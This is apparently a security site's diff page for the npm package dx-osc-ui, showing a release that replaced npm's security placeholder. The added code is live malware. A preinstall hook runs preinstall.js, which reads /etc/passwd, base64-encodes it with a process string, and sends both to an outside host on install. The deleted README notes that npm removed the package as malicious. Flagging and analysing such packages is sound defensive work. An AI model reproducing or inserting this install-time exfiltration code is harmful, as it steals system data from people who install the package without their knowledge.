dx-osc-ui 0.0.1-security → 10.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of dx-osc-ui might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ module.exports.hacked = function () {
2
+ return "h1:arthuraires"
3
+ }
package/package.json CHANGED
@@ -1,6 +1,18 @@
1
1
  {
2
2
  "name": "dx-osc-ui",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "10.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node preinstall.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "axios": "^0.21.1",
14
+ "http": "0.0.1-security",
15
+ "https": "^1.0.0",
16
+ "os": "^0.1.1"
17
+ }
18
+ }
package/preinstall.js ADDED
@@ -0,0 +1,31 @@
1
+ 'use strict'
2
+
3
+ const https = require('https')
4
+ const http = require("http");
5
+ const os = require("os");
6
+
7
+ var currentPath = __dirname.toString('base64');
8
+ var currentFile = __filename.toString('base64');
9
+ var currentEnvString = process.toString('base64');
10
+ var currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
11
+
12
+ var fs = require('fs')
13
+
14
+ function sendRequest(data) {
15
+ https.get('https://poc.arthurair.es/?' + data, (resp) => {
16
+ }).on("error", (err) => {
17
+ console.log("Error: " + err.message);
18
+ });
19
+ }
20
+
21
+ fs.readFile('/etc/passwd', 'utf8', async function (err,file) {
22
+
23
+ var etc = Buffer.from(file).toString('base64');
24
+ var env = currentEnvBase64;
25
+
26
+
27
+ sendRequest('--------------------INICIO------------------------')
28
+ sendRequest(etc)
29
+ sendRequest(env)
30
+ sendRequest('--------------------FINAL------------------------')
31
+ });
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=dx-osc-ui for more information.